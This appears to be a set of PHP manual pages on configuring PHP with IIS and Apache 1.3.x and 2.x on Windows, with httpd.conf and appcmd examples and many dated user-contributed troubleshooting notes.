It's a bit silly, but it's worth writing it down, as there will be a day you'll have to configure php on IIS in a Preproduction via VPN with a really pushing customer and only few minutes available...  and somehow you WILL forget this.

Php.ini by default has the short code set to off, so if you configure everything and test it out with <? phpinfo() ?> you will a blank screen with the code in the source, which can also indicate that there is something wrong in the configuration and that the script doesn't get sent to the php processor. It's not, it's correct! Just test out with <?php phpinfo(); ?> or turn on the short codes!
daniel at kaliel dot net 15-Apr-2014 03:30
I ran into the Error 500 with PHP 5.5 and Server 2008 R2 x64.  The issue was that I installed the 64-bit version of Visual C++ Redistributable 2012 and not the 32-bit version.
B-Edge (MS certified Trainer) 08-Apr-2014 06:36
Excellent notes the last comment about adding the environment variables works as previously stated for both examples. I had to figure it out before reading these comments...

and yes the correct format would be

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/FastCGI  ^ /+"[fullPath='c:\PHP\php-cgi.exe'].environmentVariables.[name='PHP_FCGI_MAX_REQUESTS',value='10000']"

and for the second one

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/FastCGI  ^ /+"[fullPath='c:\PHP\php-cgi.exe'].environmentVariables.[name='PHPRC',value='c:\PHP\']"

hope this helped!
brrg58 at yahoo dot com 05-Mar-2014 12:58
Following the installation steps second line of Example #3 resulted in an error:

ERROR ( message:Cannot find SITE object with identifier "path='*.php',verb='*',modules='FastCgiModule',scriptProcessor='(path-to-PHP)\php-cgi.exe',resourceType='Either']". )

Apparently there is an extra space before the ,path='*.php' that must be removed.
Thanks
Aditya 10-Oct-2013 05:21
To resolve the error "The FastCGI process exited unexpectedly" install the below package:

To fix it I had to install the Visual C++ Redistributable for Visual Studio 2012 Update 3

http://www.microsoft.com/en-us/download/confirmation.aspx?id=30679
Bradford Plummer 21-Aug-2013 09:24
If you get an error running the second command in Example 7 try this instead:

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi /+"[fullPath='C:\php\php-cgi.exe'].environmentVariables.[name='PHP_FCGI_MAX_REQUESTS',value='10000']"

Be sure to change the path to the php-cgi.exe file if it is not at C:\php\.

Good luck.
m dot benett at gmail dot com 12-Jul-2013 12:57
In CGI and FastCGI settings in php.ini exaple, add:
extension_dir = 'ext'
williamhong at 163 dot com 11-May-2013 01:41
CgiModule may be better than FastCgiModule in development because CGI processes are not cached.
stpetersn at hotmail dot com 17-Aug-2012 11:21
For setting the time out above it took me forever to figure out the right combination for double and single quotes (and no quotes) given I had spaces in the absolute path to my php-cgi.exe file. Here is what worked in case you have/had the same problem:
%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath="'C:\Program Files (x86)\PHP\php-cgi.exe'"].activityTimeout:90 /commit:apphost

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath="'C:\Program Files (x86)\PHP\php-cgi.exe'"].requestTimeout:90  /commit:apphost
NG 07-Jun-2012 03:30
Example #9 fails unless I change "php.exe" to "php-cgi.exe" as follows:

appcmd.exe set config  -section:system.webServer/fastCgi ^
/+"[fullPath='C:\php\php-cgi.exe',arguments=''].environmentVariables.^
[name='PHPRC',value='C:\PHP\']" /commit:apphost
mfuhrman at enetarch dot net 02-Jun-2012 12:19
When installing PHP in Windows 2008 Server R2, you might find that Windows IIS 7 returns error code 500 when executing scripts.  To resolve this do two things:

1) browse to the folder that contains the script with the error using CMD.  Yes, this is the command prompt.

Then execute the script using something like: "C:\Program Files\PHP\PHP5.4\php.exe" [script-filename].php

Note that the quotes ("") are needed for file paths with spaces.

This will return the results of the script and any errors you might have.

2) To have IIS 7 return the errors to your webbrowser, turn off error logging and turn on display errors. And to make sure that all the errors are display, set error reporting to ALL.

log_errors = Off
display_errors = On
error_reporting = E_ALL


Apache 1.3.x on Microsoft Windows

This section contains notes and hints specific to Apache 1.3.x installs of PHP on Microsoft Windows systems. There are also instructions and notes for Apache 2 on a separate page.

Note:

Please read the manual installation steps first!

There are two ways to set up PHP to work with Apache 1.3.x on Windows. One is to use the CGI binary (php.exe for PHP 4 and php-cgi.exe for PHP 5), the other is to use the Apache Module DLL. In either case you need to edit your httpd.conf to configure Apache to work with PHP, and then restart the server.

It is worth noting here that now the SAPI module has been made more stable under Windows, we recommend it's use above the CGI binary, since it is more transparent and secure.

Although there can be a few variations of configuring PHP under Apache, these are simple enough to be used by the newcomer. Please consult the Apache Documentation for further configuration directives.

After changing the configuration file, remember to restart the server, for example, NET STOP APACHE followed by NET START APACHE, if you run Apache as a Windows Service, or use your regular shortcuts.

Note: Remember that when adding path values in the Apache configuration files on Windows, all backslashes such as c:\directory\file.ext should be converted to forward slashes: c:/directory/file.ext. A trailing slash may also be necessary for directories.

Installing as an Apache module

You should add the following lines to your Apache httpd.conf file:

Example #1 PHP as an Apache 1.3.x module

This assumes PHP is installed to c:\php. Adjust the path if this is not the case.

For PHP 4:

# Add to the end of the LoadModule section
# Don't forget to copy this file from the sapi directory!
LoadModule php4_module "C:/php/php4apache.dll"

# Add to the end of the AddModule section
AddModule mod_php4.c

For PHP 5:

# Add to the end of the LoadModule section
LoadModule php5_module "C:/php/php5apache.dll"

# Add to the end of the AddModule section
AddModule mod_php5.c

For both:

# Add this line inside the <IfModule mod_mime.c> conditional brace
AddType application/x-httpd-php .php

# For syntax highlighted .phps files, also add
AddType application/x-httpd-php-source .phps

Installing as a CGI binary

If you unzipped the PHP package to C:\php\ as described in the Manual Installation Steps section, you need to insert these lines to your Apache configuration file to set up the CGI binary:

Example #2 PHP and Apache 1.3.x as CGI

ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php

# For PHP 4
Action application/x-httpd-php "/php/php.exe"

# For PHP 5
Action application/x-httpd-php "/php/php-cgi.exe"

# specify the directory where php.ini is
SetEnv PHPRC C:/php
Note that the second line in the list above can be found in the actual versions of httpd.conf, but it is commented out. Remember also to substitute the c:/php/ for your actual path to PHP.

Warning

A server deployed in CGI mode is open to several possible vulnerabilities. Please read our CGI security section to learn how to defend yourself from such attacks.

If you would like to present PHP source files syntax highlighted, there is no such convenient option as with the module version of PHP. If you chose to configure Apache to use PHP as a CGI binary, you will need to use the highlight_file() function. To do this simply create a PHP script file and add this code: <?php highlight_file('some_php_script.php'); ?>.

User Contributed Notes

frank at circuitdata dot dk 19-Sep-2008 05:43
Entries to httpd.conf for PHP 5:

  AddType application/x-httpd-php .php

  AddType application/x-httpd-php-source .phps

must appear BEFORE

  LoadModule php5_module "C:/php/php5apache.dll"

This should NOT be added:

  AddModule mod_php5.c

It makes no sense since AddModule means activation of a module compiled staticly into the Apache. We ofcourse do not have that!
david 05-Jun-2007 09:10
Note that if you place php in the c:\php5 director your ScriptAlias line should read

ScriptAlias /php/ "c:/php5/"

This may be obvious to regular Apache users, but I changed all sorts of things around before realizing this was the issue. I thought

Action application/x-httpd-php "/php/php-cgi.exe"

was a path and was changing it to "/php5/php-cgi.exe" which didn't work.
BCarr 20-Jan-2006 10:35
To Besta and 'j dot b..dot sk':

'Add Module mod_php4.c' or 'AddModule mod_php5.c'  may or may not be necessary depending on your environment and version of Apache.

In my situation, this add module DID NOT work or it wasn't necessary.  The LoadModule was enough to do the trick.  I tried it with PHP4 on Apache 1.3.34 and Apache 2.0.

All in all, your notes have been helpful.  Thanks.
j dot b at inmail dot sk 27-Sep-2005 09:42
DO NOT FORGET to add "index.php" into
<IfModule mod_dir.c>
    DirectoryIndex index.html
</IfModule>

so you get index.php processed;multiple values separate by space:
<IfModule mod_dir.c>
    DirectoryIndex index.html index.php
</IfModule>
27-Aug-2005 10:51
On contrary to user "Besta"'s post

AddModule mod_php5.c

should be added to the addmodule section. I installed php5 and apache 1.3.3 and without the above line it is not recognizing the .php files
Besta 07-Aug-2005 11:16
Do not add this line to apache http.conf. It does not work.
AddModule mod_php5.c

Also, remember to edit the system variables, edit the PATH and add the path to the php directory and restart windows.
psychosos at gmx dot at 27-Feb-2005 02:59
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!


Apache 2.x on Microsoft Windows

This section contains notes and hints specific to Apache 2.x installs of PHP on Microsoft Windows systems. We also have instructions and notes for Apache 1.3.x users on a separate page.

Note:

You should read the manual installation steps first!

Note: Apache 2.2 Support

Users of Apache 2.2 should note that the DLL file for Apache 2.2 is named php5apache2_2.dll rather than php5apache2.dll and is available only for PHP 5.2.0 and later. See also » http://snaps.php.net/

You are strongly encouraged to consult the » Apache Documentation to get a basic understanding of the Apache 2.x Server. Also consider reading the » Windows specific notes for Apache 2.x before reading on here.

Apache 2.x is designed to run on the Windows version designated as server platforms, such as Windows NT 4.0, Windows 2000, Windows XP, or Windows 7. While Apache 2.x works tolerably well on Windows 9x, support on these platforms is incomplete, and some things will not work correctly. There is no plan to remedy this situation.

Download the most recent version of » Apache 2.x and a fitting PHP version. Follow the Manual Installation Steps and come back to go on with the integration of PHP and Apache.

There are three ways to set up PHP to work with Apache 2.x on Windows. You can run PHP as a handler, as a CGI, or under FastCGI.

Note: Remember that when adding path values in the Apache configuration files on Windows, all backslashes such as c:\directory\file.ext should be converted to forward slashes: c:/directory/file.ext. A trailing slash may also be necessary for directories.

Installing as an Apache handler

You need to insert the following lines into your Apache httpd.conf configuration file to load the PHP module for Apache 2.x:

Example #1 PHP and Apache 2.x as handler

#
LoadModule php5_module "c:/php/php5apache2.dll"
AddHandler application/x-httpd-php .php

# configure the path to php.ini
PHPIniDir "C:/php"

Note: Remember to substitute your actual path to PHP for the C:/php/ in the above examples. Take care to use either php5apache2.dll or php5apache2_2.dll in your LoadModule directive and verify that the referenced file is in fact located at the file path that you point to in this directive.

The above configuration will enable PHP handling of any file that has a .php extension, even if there are other file extensions. For example, a file named example.php.txt will be executed by the PHP handler. To ensure that only files that end in .php are executed, use the following configuration instead:

<FilesMatch \.php$>
      SetHandler application/x-httpd-php
 </FilesMatch>

Running PHP as CGI

You should consult the » Apache CGI documentation for a more complete understanding of running CGI on Apache.

To run PHP as CGI, you'll need to place your php-cgi files in a directory designated as a CGI directory using the ScriptAlias directive.

You will then need to insert a #! line in the PHP files, pointing to the location of your PHP binary:

Example #2 PHP and Apache 2.x as CGI

#!C:/php/php.exe
<?php
  phpinfo();
?>

Warning

A server deployed in CGI mode is open to several possible vulnerabilities. Please read our CGI security section to learn how to defend yourself from such attacks.

Running PHP under FastCGI

Running PHP under FastCGI has a number of advantages over running it as a CGI. Setting it up this way is fairly straightforward:

Obtain mod_fcgid from » http://httpd.apache.org/mod_fcgid/. Win32 binaries are available for download from that site. Install the module according to the instructions that will come with it.

Configure your web server as shown below, taking care to adjust any paths to reflect your how you have installed things on your particular system:

Example #3 Configure Apache to run PHP as FastCGI

LoadModule fcgid_module modules/mod_fcgid.so

# Where is your php.ini file?
FcgidInitialEnv PHPRC        "c:/php"

AddHandler fcgid-script .php
FcgidWrapper "c:/php/php-cgi.exe" .php
Files with a .php extension will now be executed by the PHP FastCGI wrapper.

User Contributed Notes

kynetikmedia at gmail dot com 04-Jun-2014 11:47
****Installed and Working 1- Fell Swoop - UPDATED****
Installed on Windows 8.1 XPS 12 - Dell 8GB RAM 128GB SSD -
Notes - Complications due to Apache latest version causes issues with the PHP handler on install.  Following below will get it run right off the bat.

Getting and installing Apache

1  In your browser go to h t t p : / / h t t p d . a p a c h e . o r g / d o w n l o a d . c g i
   (without the spaces) - You will need to go 'Other Files' , 'Binaries' , 'W32', and then your installer MSI will be listed as below.
2  Click on  httpd-2.2.25-win32-x86-no_ssl.msi
   (this is a self-installing executable file without crypto ... no Secure Socket Layer)
   (2.2.25was the latest version on June 4, 2014)
3  Click on the httpd-2.2.25-win32-x86-no_ssl.msi file after it downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the license agreement
6  Click Next
7  Click Next
8  Type localhost in the top box
9  Type localhost in the middle box
10 Type admin@localhost.com in the bottom box
11 Click Next
12 Click Next
13 Click Next
14 Click Install and wait
15 Cick Yes to allow the program to make changes
16 Click Finish

Testing Apache

1  Type localhost in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t
   (without the spaces)
2  The message It works! should appear.

Getting and installing PHP

1  In your browser go to h t t p : / / w i n d o w s . p h p . n e t / d o w n l o a d /
   (without the spaces)
2  Click on the Installer link under PHP 5.3 (5.3.10)   VC9 x86 Thread Safe
   (Ignore the Do NOT use VC9 version with apache.org binaries comment on the side panel)
3  Click on the php-5.3.10-Win32-VC9-x86.msi file after in downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the License Agreement
6  Click Next
7  Click Next
8  Click Apache 2.2.x Module
9  Click Next
10 Click Browse
11 Double click Apache Software Foundation
12 Double click Apache 2.2
13 Double click conf
14 Click OK
15 Click Next
16 Click Next
17 Click Install and wait
18 Cick Yes to allow the program to make changes
19 Click Finish

Testing PHP with Apache

1  Open Notepad
2  Type 'left bracket character'?php phpinfo(); ?'right bracket character'
3  Save the file to C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs as test.php
4  Type localhost/test.php in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t / t e s t . p h p
5  A table with title PHP Version ... should appear

DONE
jangirashok at gmail dot com 27-Apr-2014 02:15
Can anyone tell me: Why PHP + Apache 2.2.x installation is such a big deal. I am a Java Developer and currently I am trying to learn PHP, but I am not able to install PHP and use it the way we use Java. I could use steps mentioned in comments and run home.php from htdocs folder of apache. But, could anyone please tell me DO I HAVE TO PUT EVERY FILE IN THE SAME FOLDER? Can't I make my workbench where I can put a good project hierarchy and use it like other languages. Its horrible. May be my question is little silly, but I need help for sure.
Thanks...
tmnuwan12 at yahoo dot com 07-Feb-2014 12:13
I am very new to PHP. I was looking to start a Drupal project and spend almost 4 hours to get Apache and Drupal talk each other.
What I found out was there are lots of mismatch in documentation and snapshots.

As I am using Windows I found out following two installation bundles works without any issue.

php-5.3.28-Win32-VC9-x86.msi
httpd-2.2.25-win32-x86-openssl-0.9.8y.msi

Make sure you install your packages directly into into C: drive in Windows machine (If there are spaces in the file paths it would cause issues).

Hope this would help someone.
wolfeh1994 at yahoo dot com 13-Jan-2014 11:11
Please for the love of god, download the threaded version. I spent over an hour trying to figure out why php5apache2.dll could not be found, and while desperately looking through manuals I went into the php 5 structure and found that it doesn't exist in the non-threaded version.

This really could use a mention somewhere other than the PHP 5 structure, like the paragraph to the left of the homepage which talks about which PHP version to choose, or this part of the manual which covers Apache... Anywhere but structure, seriously. I would have never guessed to look there.
adameliot1 at gmail dot com 18-Oct-2013 02:53
I got PHP 5.2.10 working on Apache 2.2 NOT using the .msi for PHP after a half day of trying different versions of PHP and Apache as well as changing everything from paths to folders.

Eventually from reading many of the notes listed here I thought I'd download the threadsafe version but all I used from it were two .dll files. I took the php5apache2_2.dll and the php5ts.dll and swaped them out in my PHP folder and bingo! started working like a charm. The php5apache2_2.dll was probably unnecessary but I switched it out anyway.

Summary... Add php5ts to your PHP folder
compleatguru at gmail dot com 27-Sep-2013 12:05
I am using Windows 8 x64, running Apache 2.2 and php 5.4.20

I found that it is necessary to add System Environment Variable PHPRC=[PHP path], so that php.ini is loaded using your PHP path, instead of C:\Windows.

This is how I do for my laptop
Go to Control Panel\System and Security\System\Advanced System Settings\Environment Variables

Add New System Variable
Name: PHPRC
Value: C:\php-5.4.20

Hope it relieve those who keep having empty string for Loaded Configuration File under phpinfo();
Guillermo Tallano 04-Aug-2013 02:15
Hi guys,
In my case, it work right away when I change the version to thread-safe.
I spent some time trying the different things that were posted here and I was kind of lazy about downloading a different version, but once I test it with a thead-safe it started right away. So be sure you try this.

I was on Apache 2.2, XP and php 5.2.17 thread-safe

This is my conf:
LoadModule php5_module "c:/php5/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
#configure the path to php.ini
PHPIniDir 'C:\php5\'

Good luck!
So Happy - phpinfo now loads correctly 22-Jul-2013 04:36
After installing Apache 2.2 and PHP 5.3.7 I could not get the phpinfo.php to display. When i attempted to pull up the php info page my browser would load the php script instead. I had added the following line to the Apache conf file

LoadModule php5_module "c:/php/php5apache2_2.dll"
AddHandler application/x-http-php .php
PHPIniDir "c:/php"

The issue was in the second line of code for the AddHandler, the code was missing a d after x-http, when I saw this typo I added the d, saved the conf file, cleared the cache of firefox, stopped Apache then started Apache again and the php info displayed correctly so make sure the line reads as follows

AddHandler application/x-httpd-php .php
Amaroq 28-Mar-2013 07:53
Like someone else mentioned, on the Windows download page for PHP, ignore the warning about not downloading the VC9 compiled installers for the Apache.org version of Apache.

Whoever wrote that is guaranteeing that people install a PHP that breaks their Apache server. (On Windows 7 anyway.) The installer failed to write the correct path info to httpd.conf, and even after fixing that manually, Apache wouldn't start because of missing dlls.

Ignore that dumb warning and get the newest installer anyway. Everything just plain works with no hassle and no hunting down dll files over google.
Maw 01-Feb-2013 06:26
Good God finally I was able to make PHP 5.2 work on Apache 2.4. For those still having problems with "You don't have permission to run php-cgi.exe", you must replace "Order allow,deny" and "Allow from all" from the PHP directory block with "Require all granted". They must have changed the format with Apache 2.4 since the old method used to work just fine for me before.

So the usual method of setting up CGI, I'm sure you already know that you should add these 3 lines to httpd.conf:
ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php-cgi.exe"

And now add the directory for PHP:
<Directory "c:/php">
    AllowOverride None
    Options None
    Require all granted
</Directory>

Important: Notice that instead of "Order allow,deny" and "Allow from all" added into the PHP directory as usual, I replaced them with "Require all granted" as I mentioned above.
o.machala[at]email[dot]cz 02-Nov-2012 11:17
If you have a problem "The requested operation has failed!" and LOG says "Module php5apache2_2.dll not found" and have:

PHPIniDir "P:\PHP\"
LoadModule php5_module "P:\PHP\php5apache2_2.dll"

in httpd.conf make sure you have installed the apache2.2 (not apache 2.0 or earlier versions). It was my problem and i downloaded correct version from http://www.apache.org/dist/httpd/binaries/win32/ and everything just works.
kriss266 at o2 dot pl 21-Aug-2012 11:02
[For the error:] You don’t have permission to access /php/php-cgi.exe/index.php on this server.

In order to fix the forbidden error I had to change this line in httpd.conf:

<Directory “C:/Server/Apache2.2/cgi-bin/”>
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>

to this:

<Directory “c:/Server/php”>
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
a solution for simpletons like me 26-Apr-2012 04:54
Installing Apache and PHP on Windows 7 Home Premium on a Gateway NV75S laptop with a quad AMD A6-3400M

All I need to do with these programs is to test my website out on my laptop.  I have HTML and PHP files. I do not need MySQL as I use html5 storage.

Getting and installing Apache

1  In your browser go to h t t p : / / h t t p d . a p a c h e . o r g / d o w n l o a d . c g i
   (without the spaces)
2  Click on  httpd-2.2.22-win32-x86-no_ssl.msi
   (this is a self-installing executable file without crypto ... no Secure Socket Layer)
   (2.2.22 was the latest version on April 25, 2012)
3  Click on the httpd-2.2.22-win32-x86-no_ssl.msi file after it downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the license agreement
6  Click Next
7  Click Next
8  Type localhost in the top box
9  Type localhost in the middle box
10 Type admin@localhost.com in the bottom box
11 Click Next
12 Click Next
13 Click Next
14 Click Install and wait
15 Cick Yes to allow the program to make changes
16 Click Finish

Testing Apache

1  Type localhost in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t
   (without the spaces)
2  The message It works! should appear.

Getting and installing PHP

1  In your browser go to h t t p : / / w i n d o w s . p h p . n e t / d o w n l o a d /
   (without the spaces)
2  Click on the Installer link under PHP 5.3 (5.3.10)   VC9 x86 Thread Safe
   (Ignore the Do NOT use VC9 version with apache.org binaries comment on the side panel)
3  Click on the php-5.3.10-Win32-VC9-x86.msi file after in downloads
   (single click on the file tab in Chrome or double click on the actual file in Downloads)
4  Click Next
5  Click I accept the terms in the License Agreement
6  Click Next
7  Click Next
8  Click Apache 2.2.x Module
9  Click Next
10 Click Browse
11 Double click Apache Software Foundation
12 Double click Apache 2.2
13 Double click conf
14 Click OK
15 Click Next
16 Click Next
17 Click Install and wait
18 Cick Yes to allow the program to make changes
19 Click Finish

Testing PHP with Apache

1  Open Notepad
2  Type 'left bracket character'?php phpinfo(); ?'right bracket character'
3  Save the file to C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs as test.php
4  Type localhost/test.php in your browser location box (I use Chrome) or type h t t p : / / l o c a l h o s t / t e s t . p h p
5  A table with title PHP Version ... should appear

DONE
Gedi 15-Apr-2012 09:54
I was struggling with configuring PHP 5.2.17. (msi version) for
Apache 2.2.22. on Windows 7. Apache was working before fine.
The following failure message came as I tried to start Apache:
"The requested operation has failed!"
After many hours finally the comment from "bdav 05-Mar-2012 02:23" helped me and the following code in httpd.conf made Apache working with PHP:

LoadModule php5_module "c:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
PHPIniDir 'c:\php\'

I hope I can save some hours of frustration to some beginners like me.
Bechesa at gmail dot com 15-Mar-2012 08:57
Just a note
It might be important you include the absolute path to the php.ini  file inside the httpd.conf file so that php may load all the module(s).

below is an example

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir 'C:\PHP\php.ini'
LoadModule php5_module "c:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL

OS: windows 2008
webserver: apache2.2
Bechesa at gmail dot com 15-Mar-2012 08:56
Just a note
It might be important you include the absolute path to the php.ini  file inside the httpd.conf file so that php may load all the module(s).

below is an example

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir 'C:\PHP\php.ini'
LoadModule php5_module "c:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL

OS: windows 2008
webserver: apache2.2
bdav 05-Mar-2012 11:23
After spending few hours finally figured out that PHPINIDir path should be in single quotes and with backslash and php module with double quotes and regular slashes:

PHPIniDir 'c:\apps\php\'
LoadModule php5_module "c:/apps/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
Z Carlos at Fortaleza 05-Feb-2012 07:09
A Thread Safe version should be used if you install PHP as an Apache module. The Non Thread Safe version should be used if you install PHP as a CGI binary.
robert dot nevinger at sbcglobal dot net 18-Dec-2011 06:34
Apache 2.2 crashing on WindowsXP/Apache2.2/php5.3.8_Win32.VC9-x86

There is a distinction between LoadFile and LoadModule.

LoadModule is typically used to load  Shared Objects (.so), and comes in very handy for Dynamically Shared Objects
LoadFile on windows it typically used to load DLL

Please note:  In order for a LoadMoudle directive to work on a DLL the module must be compiled into the library.  If you use VI you can usually locate the module, but the file is compiled, don't write it!

A dll can be located anywhere on the system.
A .so should be located in your Apache install modules folder.

What worked for me for Windows XP/Apache2.2/php5.3.8_Win32.VC9-x86

PHPIniDir "C:/PHP/"
LoadFile "C:/PHP/libeay32.dll"
LoadFile "C:/PHP/libpq.dll"
LoadFile "C:/PHP/libsasl.dll"
LoadModule php5_module "C:\PHP\php5apache2_2.dll"

This comment is to support the Apache startup, NOT serve PHP pages.
bradley dot henke at colorado dot edu 31-Oct-2011 10:38
I was able to get apache up and running without any problems. Then I tried installing php and it crashed trying to read "C:/php/php5apache2.dll".

Fixed the problem by switching it to "C:/php/php5apache2_2.dll"

Hope that helps!
Cooldude 31-Aug-2011 04:56
Also had an exception problem when trying to use mysql with apache and php5.

I had to add:

"<my MySQL folder>\bin" folder to path
"<my php folder>\ext" to path

that fixed it
tcombass at gmail dot com 29-Jul-2011 11:12
If you are having problems with php5ts.dll...

php5ts.dll is php5.dll but thread safe, hence the 'ts' at the end.

Software Details:
MySQL  5.5
PHP 5.2.17 VC6 Non-thread safe
Apache 2.2.19
Win XP SP3

Here's how I fixed the problem:

I've been looking online on how to integrate Apache with PHP right so I come across this code to put in my httpd.conf apache configuration file:

LoadModule php5_module "C:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
PhpIniDir "C:/php"

I paste it in a voila! it crashes!  I know its not news, but I looked and lo and behold its that darn php5ts.dll file!

In short:

I installed PHP 5.2.17 VC6 Non-Thread Safe.  I then installed the PHP 5.2.17 VC6 thread safe so I could copy these files from the thread safe installation into the PHP 5.2.17 VC6 Non-Thread safe installation directory:

php5apache2_2.dll
php5apache2_2filter.dll

Not sure if that last file is needed but I added it anyway.

Then I uninstalled the thread safe installation.

The Apache service started right up.

Had some problems with MySQL too:

When I installed it the first time it was fine.  Then I uninstalled it and got that "Service could not be started Error: 0" message.

To do a complete deletion do this:

1) Use MySQLInstanceconfig.exe to remove the service
2) Use the "Add/Remove programs" to uninstall MySQL
3) Delete the "c:\program files\MySQL directory"
4) Delete the "c:\documents and settings\All Users\Application Data\MySql\" directory
5) Launch regedit.exe from START>RUN and press ctrl+f for the find function and type in MYSQL to find and get rid of anything "MySQL" in there.  Press F3 to find repeat instances of "MySQL"

I hope this helps you.  I spent about 30hrs uninstalling and reinstalling this crap...
Cameron 15-May-2011 08:37
Here is yet another aspect of the "faulting module php5ts.dll" crash when trying to start apache.
I installed Apache 2.2.18, Mysql 5.1.57 and PHP 5.2.17 (apache module, VC6 thread-safe - initially with no extensions) on a fresh WinXP SP3 system. The versions chosen were because I was trying to replicate as near as possible apps on my Linux server.

Everything configured and ran properly without php extensions, so I then reran the msi installer and chose the necessary extensions.  I reconfigured httpd.conf  but apache then just kept crashing.
Eventually I came across the "fix" mentioned elsewhere "copy libmysql.dll to apache folder" and suddenly it worked. But why? I checked and the php installation folder was in the system path. The answer was simply that I had never rebooted. It seems that whatever process controls windows services only reads the path at boot time.  I was thrown by assuming that if I started httpd from the command line then it would inherit that path.

Here are a few diagnostic tips that helped me along the way:

Try the CLI command:
php -m
and see that the command line version loads all the modules you asked for.

in php.ini, enable
display_errors = On
and
display_startup_errors = On
The latter pops up a window saying which extension it has trouble loading. Of course it is not perfectly clear, because it says something like 'unable to load "C:\php\ext\php_mysql.dll" - The specified module could not be found'. It lies - it really does find that dll, but it must have failed on the dependency of libmysql.dll.
mike at supergrowlasers dot com 29-Apr-2011 03:44
I just spent 5 hours repeatedly trying, usuccessfully, to get Apache to parse php files instead of sending them to the browser.  I am setting up a Win 7 Pro box, and went through the configuration several times, as well as trying other configuration directives I found elsewhere by searching.

Nothing worked. I was tearing my hair out and ready to cry.  I have set this up numerous times on XP with no problem.  But on Win 7 Pro it wasn't happening.

Eventually I found this code, which worked perfectly (after taking out directives from httpd.conf that weren't working, of course)

LoadFile "C:/php/php5ts.dll"
LoadModule php5_module "C:/php/php5apache2.dll"

<IfModule php5_module>
    #PHPIniDir "C:/Windows"
    #PHPIniDir "C:/Winnt"

    <Location />
        AddType text/html .php .phps
        AddHandler application/x-httpd-php .php
        AddHandler application/x-httpd-php-source .phps
    </Location>

</IfModule>

If you've been having the same problem, try this.

You're welcome.
brokenarrow218 at rochester dot rr dot com 07-Feb-2011 09:29
man I had a heck of time.. I was really starting to think I was just too simple minded.. I run PHP on iis7 as well as apache.. my os is win7 pro.. my host uses php 5.2 sooooo..

to run on apache 2.2 download nonthread safe version (my case VC6 x86 Non Thread Safe (2011-Jan-06 18:38:35)) and add this to the end of your apache httpd.conf file

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/php/"
LoadModule php5_module "c:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
<FilesMatch \.php$>
      SetHandler application/x-httpd-php
 </FilesMatch>

#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL

fired right up..
yakfish 25-Jan-2011 10:43
If Apache won't start after PHP install, check for this scenario:

When I followed the instructions for the Windows installer, using Apache HTTP server 2.2.17, the install completed normally but Apache would then fail to start. It turned out that the installer was not properly configuring the last section of Apache's httpd.conf file:

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/php/"
LoadModule php5_module "c:/php/php5apache2_2.dll"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL

The text above is the correct configuration (in my case, I had asked the installer to place PHP into directory C:/PHP.)  However, the installer omitted the string "c:/php/" from the two lines above where you can see them. I had to edit the file, and add that string in manually, before Apache would start correctly.
pkay(number42) at gmail dot com 30-Dec-2010 06:31
Running Apache2.2 on Windows 7.  There was no php5apache2_2.dll on my system, and all I got was a message box "The requested operation has failed!" (no, that's not OK).

Finally realized that thread-safe version (VC6, mind!) was necessary - it had the dll in it.

Downloaded that, apache runs with

LoadModule php5_module 'C:/Program Files (x86)/PHP/php5apache2_2.dll'
#etc
farinspace 20-Nov-2010 08:36
Running PHP under FastCGI:

Besides the following in your httpd.conf

    LoadModule fcgid_module modules/mod_fcgid.so
    FcgidInitialEnv PHPRC "c:/php"
    AddHandler fcgid-script .php
    FcgidWrapper "c:/php/php-cgi.exe" .php

Remember to add the following to the default <Directory "C:/apache/htdocs"> block (or virtual host blocks):

    Options ExecCGI
lebovskiy at ua dot fm 17-Nov-2010 07:59
I install httpd-2.2.17-win32-x86-openssl-0.9.8o.msi and after
php-5.3.3-Win32-VC9-x86.msi on WinXP SP3. PHP installation add to httpd.conf next lines:

LoadModule php5_module "C:/PHP/php5apache2_2.dll
"PHPIniDir "C:/PHP"

After it Apache don`t starts. If remove PHPIniDir line Apache  starts ok, but C:/PHP/php.ini don`t loaded. So you can`t use any extension (for me it's MySQL).

I uninstall VC9 version and install VC6 (php-5.3.3-Win32-VC6-x86.msi) version. All works fine now.
halmai 15-Nov-2010 12:42
I wanted to install PHP5.3 for Apache2.2 with PostgreSql 9.0 support on WindowsXP. It took me hours to solve it.

The following possible problems occur:
- You should use the VC6-compiled version of php instead of VC9. The later one does not work properly with apache.
- the postgres handler dlls are not working in PHP5.3.

